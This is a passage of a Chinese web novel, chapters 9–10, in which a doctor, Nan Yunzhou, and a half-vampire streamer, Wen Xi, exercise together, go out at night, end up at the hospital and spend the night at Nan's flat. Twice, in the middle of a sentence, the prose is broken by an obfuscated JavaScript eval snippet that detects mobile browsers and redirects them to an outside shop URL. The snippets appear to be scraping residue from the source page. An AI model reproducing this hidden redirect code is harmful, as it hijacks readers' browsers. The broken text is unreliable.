锻炼栏的下方，是一个加强营养的方子。 指尖轻点两下，全都被划掉。 不知道为什么，南云舟有种直觉，他的这些计划没有一项会成功，但就算能提前预知答案，他也还是会选择尝试。 因为他深刻的明白，如果自己不作出一些行动，他将完全触碰不到温西隐藏的秘密，也自然不可能有一个他想要的结果。 【对啦，如果我要和你去锻炼的话，应该穿什么呀？】 手机响了两声，温西再次发来了消息，瞬间就打破了这沉默而压抑的氛围。 【快发一张你的照片给我参考参考。】 9. 第 9 章 【我没有照片。】 南云舟看着温西发来的消息，很是为难。 他向来不爱拍照，更何况是这种日常照。就算是孔雀开屏也开不到这一步吧。 【宽松一点的就好。西西以前体育课穿什么？】 【我没有上学，一直是外公请私教老师，有时候会去和小伙伴们打球。】 【就是这套衣服。】 温西说着，发来了一张对镜自拍照，是很经典的拍法，用手机挡住了脸，展示全身的穿搭。 专业的运动短袖短裤，棒球帽，到膝盖下方的运动压力袜，限量版球鞋，护腕，崭新的网球拍，再加上那张漂亮到能吸引全场目光的脸。 不像是去打球的，更像是去走秀的。 南云舟笑了笑。 这里有只小孔雀。 【很好看。】 【嘻嘻(*∩_∩*)，小区里面有跑道，我晚上去试试。】 【好，晚上有些冷，去室外的话记得带件外套。】 小吸血鬼也是三分钟热度的典型选手，有了新计划格外兴奋，早早地就换好了衣服，晚上一下播就立马给南云舟拨通了电话。 “我要出门啦！” “好，换成视频吧，已经彻底忙完了，我可以指导你热身。” “好哦。” 温西所在的小区设施很完善，连游泳池都有，不过得预约，一周还有好几天不开放。 据说是为了照顾这个小区里某些特殊住户。 小吸血鬼到达场地，半夜了也还有零零星星的几道人影，就选了一个小角落。 随后镜头开始晃动，视频画面一会变成了天空，一会又朝着地面。 仅仅从镜头的变化幅度，就足够反应出少年的柔韧性非常好了，每一个动作都做得很到位。 南云舟几乎能想象温西的动作有多轻盈，就算是最普通的热身运动做起来都十分赏心悦目。 血族的身体素质是十分强悍的，但不知道是因为混血，还是因为实在是太久没有运动了，温西跑起来没一会就开始气息不稳了。 好丢人。 才两圈下来，温西“啪叽”一下就坐到了地上。 “我以后真的每天都要和你锻炼吗？”小吸血鬼陷入了深深地后悔当中，他昨天怎么就那么轻易地就答应了南云舟？ 肯定是昏了头了！ 手机被随手放在地上，画面一片漆黑，南云舟只能听见少年混乱地气息，尤其是在开口说话时，更是明显…… “……嗯。” 南云舟清咳了一声，“累了就回去休息吧，循序渐进，穿上外套别感冒了。” “好哎！” 小吸血鬼立马就从地上爬了起来，有些感慨地开口，“我算是知道为什么水友们对体测那么深恶痛绝了。” 大家都是脆皮，可经不起这么造作。 “好啦，我到家了，先去洗个澡。” 温西刚进玄关穿上拖鞋，准备洗一洗换睡衣，就听见南云舟也说道自己也去洗个澡，然后速度比自己还快地就进了浴室。 看着被挡住了的镜头，听见依稀传来的水声，小吸血鬼有些纳闷。 现在是00:40，接近一点钟了，南云舟不是早该已经洗完澡躺下了吗？ 小吸血鬼没想明白，在南云舟的监督之下，也乖乖地躺上了床，等待着时间的流逝，等待着南云舟的回归。 南云舟果然很守信用，在温西刚睁眼的时候就发来了刚下飞机的消息，行李都没有放下，打算直接过去找温西吃晚餐。 “啊，那你岂不是好累。” 小吸血鬼看了看窗外，今天甚至还有些下雨，天气不是很好，到处都是湿漉漉的，拿着行李箱来回折腾更是麻烦。 “看见西西就不累了。”南云舟低笑一声，越发地得寸进尺，“要是西西还觉得不够，就给我一个拥抱吧。” 南云舟只是开开玩笑，可他没有想到温西真的在自己下车之后，冲上来就给自己一个大大的拥抱。 而且还是重重的，用力的，双手环颈的，几乎整个人都挂在了他的身上的，用温软的脸颊贴着他脖侧的，最亲密的相拥。 南云舟感觉到自己的心跳在不停地加速，一下，两下，好似好挣破胸膛。 可他还没有来得及伸手回抱，他的怀里就再次空落落了。 “最近辛苦啦。” 少年接过了他的行李箱，连拖带拽地将已经愣在原地的南云舟拉进包厢。 “吃完饭就回去洗个热水澡，好好休息……” 今天的温西比往日要更活泼些，更亲昵些，像是把缺失了的这十天一次性补齐，最后这顿饭足足吃了三个小时才结束。 …… 不过接下来的几天，温西才知道南云舟为什么在飞回来的当天，就算是冒雨也要见面了。 因为后面几天他更忙了。 南云舟出差见识过的，讨论过的，学习过的，回来之后要提交无数个报告，需要开无数的学习研讨会，以及尝试在临床应用。 【19:40你戳了戳南云舟】 【20:37你戳了戳工作狂魔】 【21:55你戳了戳还在加班啊好惨的人类】 今天南云舟本来就很忙了，又有会议又有手术，结果快下班的时候来了一个急症患者需要手术，从各项检查到推进手术室都用了三个小时。 南云舟只来得及一条要加班的语音，就进了手术室，直到现在。 戳一戳，没有回复就是还在手术中。 这个功能是没有消息提醒的，不会打扰到手术，而且温西也不想给南云舟太大的压力，没回他的消息像是什么天大的罪过一样。 毕竟南云舟忙的都是很重要的事情，人命关天。 想到这里，温西将南云舟的备注改掉，又戳了一下自娱自乐。 【22:01你戳了戳劝人学医天打雷劈的典范】 等有机会了，他一定要好好问一下南云舟，之前是怎么想不开要去学医的。 或许是因为太无聊，温西决定出门逛逛，沿着小区的街道就开始漫无目的地游荡。 今天的天气很好，星星都能看见，明明他都跟南云舟约好了一起散步的，结果现在只有他一个人能欣赏了。 “哟，你怎么在这里？” 忽然一辆跑车在他身边停下，小吸血鬼一扭头，就看见开着敞篷，做了新造型的店老板。 “这个方向，你也去喝酒？” 温西不太明白。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375286|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走，上车，带你凑热闹。” 一句“凑热闹”就把正无聊的小吸血鬼拐走了，等到了地点后温西才发现这是一家酒吧，里面正在开派对，全是非人类。 “哎，莫哥这是你家崽子？好生漂亮。” “对，帮我看着点。” 原来店老板姓莫。 “这崽子住桃园里吧？我见过。” 小吸血鬼循着声音又好奇地看了过去，发现居然是自家小区的保安大叔！！！ “桃园啊，那很方便了，我也想住里面，下楼丢垃圾都不用藏尾巴。” “你小子，桃园里也是有人类的好吧，注意一下妖族形象，都一把年纪了。” “小崽子，以后有需要跟叔说哈。” 听着大家的聊天，温西才发现自己的小区居然是一个非人类集中单元，而他因为太宅根本就没有发现！ 温西一下就找到了组织，高兴得和大家一起喝了几杯。 但他是血族，没法多喝，只能看着其他的非人类继续狂欢，不少本地妖怪喝得耳朵尾巴全露出来了。 在热闹的酒吧中，他找了个安静的角落就开始玩手机，下意识就点开了“劝人学医天打雷劈”的对话框，还是空荡荡的。 “都一点了，还没有下班啊。” 温西嘟囔着，想要把南云舟的备注改回来，但因为有些晕乎乎的，不知道点到了哪里，两个定位一下子就跳了出来。 上面显示自己和南云舟的位置，只有三条街。 自己已经到了南云舟医院的附近了吗？想到这里，小吸血鬼“唰”地一下就站了起来，往外走去。 “谁家带来的幼崽要出去了，注意看一下。” 温西一把就被前台扣住了。 “谢谢，但是我已经成年了。” 小吸血鬼认认真真地解释，“我要去找我朋友了，他就在这附近。” 等到温西晃过了三条街，来到医院门口的时候已经两点半了，大门口几乎没有人，住院部的科室也大多熄了灯。 唯一还亮着等到地方就是急症，检验科，药房，还有……手术室。 温西一下就锁定了南云舟的位置，但是门口有保安，怎么进去呢？ 小吸血鬼蹲在路边想了又想，站起来就往一个小角落走去打算翻墙，他刚伸手，就听见他的身后传来的一道熟悉又带着诧异的声音。 “你怎么在这里？” 温西慢慢地转身，就看见了站在他身后，刚刚从医院出来的南云舟。 “咦？你怎么在这里？” 少年双眼一亮，语气欢快，倒反天罡地反问了回去。 虽然温西没有回答自己的问题，但他一靠近就闻到酒精的气息，答案瞬间就明了。 看着双眼有些朦胧的少年，南云舟沉默了片刻，冷声询问道，“谁带你出来玩的？” “你怎么知道是别人带我出来玩的？”小吸血鬼很是惊讶，看南云舟的眼神就像是看福尔摩斯一样，“是莫哥，就是店老板。” “猜到了。” “酒吧不是好地方，少和他玩。” “好。” 晕乎乎的少年盯着南云舟的脸，想都没有想，一口就答应了。 “他没有你好看，不和他玩了。” 10. 第 10 章 南云舟看着喝了酒的少年有些无奈，上前一把就拉住了对方。 “我还没有下班，你先到我的办公室坐坐。” 小吸血鬼闻言一愣，乖乖地就跟着南云舟走了。这还是温西第一次来到人类医院，好奇地左顾右盼，走过了长长的走廊，上了电梯时，他才意识到了好多问题。 “你居然还没有下班吗？” “那你怎么在医院外面？” “你是怎么找到我的？” 温西虽然有些双眼迷离，但脑子还能转动，说话也不磕巴，甚至连直线都能走。 他本人管这个叫“微醺”。 “没有下班。” 南云舟先是按下了电梯楼层，再将少年的问题一个一个回答，“是专门去找你的。” “我刚出手术室，跟患者家属交代完之后，就看见了手机上一排戳一戳消息。” 他不怎么玩这类社交软件，才发现这个戳一戳显示的不是温西的昵称，而是自己给他的备注，于是当他打开手机，看到的就是一排—— 【西西小猫戳了戳你】 南云舟当时就感觉自己的心也像是被小猫爪子挠了一下，软得一塌糊涂。 他在回消息之前习惯性地打开定位看了一眼，结果就发现人已经在自己医院门口了，立马就脱了大褂出来抓人。 “我还以为你是专程来找我的。” 南云舟的语气里全是满心欢喜被辜负的失望，“结果是一只醉猫在乱跑。” 不过南云舟也庆幸自己及时去把喝醉的少年带了回来，外面那么晚了危险不说，光是翻墙被保安抓住了也要进派出所一日游。 某只醉猫醒来不得天塌了？ “我本来也是打算来找你的嘛。”温西嘟嘟囔囔的反驳，但南云舟似乎没有听见。 回到科室之后，南云舟给温西泡了一杯茶用于醒酒，然后再将他安置在了自己的工位旁边。 南云舟的位置正好是在角落，两面环墙，自己往旁边一坐，醉猫就跑不出去。 “我还有手术记录和医嘱要开，你自己乖乖的，要是困可以去值班室睡一会。” “你好忙哦。” 温西选择性捕捉信息，只听见了自己想听见的。 “南医生，我来和你交接。” 值班护士敲门打断了两人，看见温西时一下就“哇”了出来，“这是南医生的家属吗？这么晚还跑来找你，好幸福。” 南云舟听着护士的话，扭头看了一眼低头脑袋装鸵鸟，自己都不反驳的少年，毫不客气地占了这个名分，“嗯，他有些害羞。” 接着便交代起了需要重点监护的地方。 南云舟的声音很沉稳，不急不缓游刃有余，能轻易获得患者和家属的信任，是很适合当医生的那种声音。 这还是温西第一次看见南云舟工作时的样子，很认真，很有魅力。 南云舟的字也很好看，不像网上说的那种“鬼画符”，虽然也有些连笔，但看起来就是很赏心悦目。 【你是因为什么学医啊？】 手机响了一声，是温西的消息。 南云舟不明白温西为什么当着面还要发消息，正想询问，就看见了给自己的备注【劝人学医天打雷劈的典范】。 南云舟：…… “小没良心的。”南云舟气笑了，伸手就捏了捏温西的脸颊，“我学医是为了谁？” 温西呆呆地摇了摇头，很诚实地说，“不知道。” “那你就继续不知道吧。” …… 等到南云舟彻底写完手术记录，已经凌晨三点半了，他扭头一看，就看见了仍然精神抖擞的温西。 ……看来少年还真没骗他，就算是喝醉了生物钟都没有乱，真是天生当夜猫子的料。 “走吧，下班了。” “好耶！” 温西听见“下班”两个字，看起来更精神了，望着南云舟询问道，“你晚餐想吃点什么？” “现在已经可以吃早餐了，醉猫。” 说着，南云舟就又牵起了温西的手，一边出门，一边问道，“时间不早了，去我家将就一下？” “好呀。” 温西沉思了一下，答应得十分爽快，该考虑到的没有考虑到，不该他考虑的倒是替人想了一大堆，“不过你提前收拾房间了吗，要不要我在楼下等你十分钟？” “不用了。” 南云舟觉得有些好笑，“以己度人是不对的，西西。” “哦~” 南云舟的家离医院不是很远，开车十几分钟就到了，一进去给温西的第一印象就是宽敞。 极简风的家装，整个客厅的东西一眼就能看尽，没有养小动物，阳台上也是光秃秃的，没有种一点盆栽。 “鞋子。” 南云舟弯腰拿出一双新拖鞋给温西换上。 这是一双白色的，毛茸茸的，上面还带着小兔子挂件的，和南云舟气质完全不符合的拖鞋，倒是和温西很相配。 温西低头看了看自己的，又看了看南云舟脚上的那双，“你的鞋子怎么和我的不一样？” 南云舟没有回答他，只是问，“合脚吗？” “喜欢！” 醉鬼答非所问，“我喜欢这个，你的拖鞋以后也要换成这个样子哦。” 小吸血鬼换好鞋子之后，就开始满屋子乱窜。 这间房子很大，大概180平，只有一个人住，除了书房大部分地方都是空荡荡，客厅连沙发茶几都没有，一副生人勿近熟人勿扰的模样。 厨房倒是有点厨具，看起来平时会简单做点饭菜。 “那我今天睡哪里呀？” 温西将所有公共区域逛完了之后，就跑到了南云舟的面前，询问着自己今晚的归宿。 “就两间房，你想睡哪间都可以。”南云舟看着温西醉醺醺的样子，故意打趣。 他见过很多人酒后的模样，有呼呼大睡的，有说不清话的，也有变得十分亢奋易激动的，却还从来没有见过温西这样的情况。 好像醉了，又好像没有醉。 能说能动，有理有据，但思维跳跃。 如果是平时，礼貌又有边界感的温西肯定不会睡别人的主卧，但是现在是喝醉了情况，也不知道温西会怎么选。 “真的假的？要是我选错占了你的床，你不会生气吧？”小吸血鬼偷偷瞄了一眼南云舟，再次以己度人，“我就不喜欢别人睡我的床，要是被我发现了，我就直接把盖子盖上，连人带床一起埋土里面去。” 南云舟：……？ 他不是很懂，只当温西又在说醉话了。 小吸血鬼在两个房间巡视了一圈，看起来像是真的在认真挑选，不过最后还是选择了次卧。 “选好了？” 南云舟的语气听起来有些失望。 “选好了！”温西确定地点了头，抬着脑袋一脸骄傲，“虽然这个房间更大我喜欢，但是你工作好辛苦，这个大床还是给你睡吧！” 看着温西如此贴心，南云舟低声笑了笑，“好，既然西西喜欢这个房间，那总有一天能睡到的。” 选好房间，南云舟就帮温西在浴缸里放好水，让温西洗洗这一身酒气。 “那我洗完穿什么衣服呢？” 温西都已经在浴缸里坐着了，才开始思考这个问题，急急忙忙地拿手机给南云舟发消息。 【给你准备了，就在旁边的架子上，都是全新的。】 看着南云舟的文字消息，温西理解了好半天，才找到了衣服，竟意外的合身。 无论是外面的，还是里面的。 甚至比他自己买的都还要合身。 小吸血鬼直觉这很奇怪，但他细想不出来究竟是哪里奇怪，换好衣服出来就直接躺到了床上，还开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375287|200068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地打了个滚。 当他滚到了枕头上，却突然坐了起来，抱起枕头仔细闻了闻。 不是熟悉的气味。 也没有熟悉的娃娃。 当南云舟在浴室里洗澡，听见自己房间的门被推开时，眉心一跳，呼唤了两声少年的名字，却没有任何应答。 等他出来时，自己的房间空无一人。同时，他床上的两个枕头也无影无踪。 “西西？” 南云舟敲了敲次卧的门，准备去寻回自己的枕头。 “请进~” 温西的声音似乎是隔着被子传来，有些闷闷的。南云舟推开门，就看见整个屋子的抱枕靠枕全在温西的床上，堆得满满当当，只留出中间躺人的一小片地方。 “西西这是在干什么？” “模拟我的床。” 小吸血鬼回答。 “不然我会睡不着。” 南云舟知道温西的床上会有很多玩偶，但他没有想到那些玩偶的作用居然是助眠？ “那西西也给我一个枕头好不好，不然我也会睡不着。” 清醒的人类试图跟不清醒的人讲道理，“我的两个枕头都被你拿走了。” 小吸血鬼长长的睫毛颤了颤，鼓着腮帮子说，“不好，这两个我都要。” 那两个熟悉的灰色枕头一个在温西的脑袋下，另一个似乎在温西的怀里，南云舟看了竟是有些羡慕得牙痒痒。 他的枕头比自己还先爬上少年的床。 “但是这个可以给你。” 温西十分大方地伸出手，在自己的背后摸了摸，扯出了次卧床上四件套里的枕头。 “好吧，谢谢西西。” 南云舟从善如流地接过了交换的枕头，随后弯腰贴近被窝里面的人，想要讨一声晚安，可刚靠近，动作就忽然顿住了。 “西西的眼睛……” “眼睛怎么了？” 小吸血鬼不明白，还伸手揉了揉，好像确实有些不舒服。 但少年搓揉了过后，就更加明显了，南云舟一把就抓住了温西的手，制止了他再次揉眼睛的行为。 那双原本漂亮得像黑曜石一样的眼睛，此时轮廓出现了变形，黑色的区域偏移，露出了四分之一截然不同的颜色，那颜色他从未见过。 “西西有没有带隐形眼镜之类的？”南云舟屏住了呼吸，试探地开口，“睡觉是要取下来的，不然对眼睛不好。” 小吸血鬼反应了一下，也终于想起来自己出门都是要带美瞳的。 他点了点头。 “有。” “那我帮你取下来吧。” 南云舟循循善诱接着道。 可温西却摇了摇头，毫不犹豫地拒绝了。 “不可以取。” 虽然当时做美瞳功课的时候确实被网友千叮咛万嘱咐地说不能带着睡觉，但是，现在，他不能取。 小吸血鬼盯着面前的人，大脑仿佛触发了什么防御机制，一下就从床上爬了起来，毫无征兆地说。 “我要回家。” 但温西没能从被子里出来，南云舟速度更快地将他重新按了回去。 “好，不取。” “我只是提醒西西一下。” 南云舟的声音放得很轻，像哄小孩一样，“这么晚已经打不到车了，西西总不能走回去吧，那么远。” “至于取不取，西西自己会有办法的，对不对？” 小吸血鬼听着南云舟的话，思考了一会，肯定地点了点头。 “好，那晚安了？” “晚安哦。” 南云舟退出了次卧，将门带上。 原地等待了几分钟之后，里面就再次传来了窸窸窣窣的动静，温西先来到了门口，将房门反锁，接着去了次卧里的卫生间，没两分钟就出来了。 最后脚步声回到了床边，就彻底安静了下来。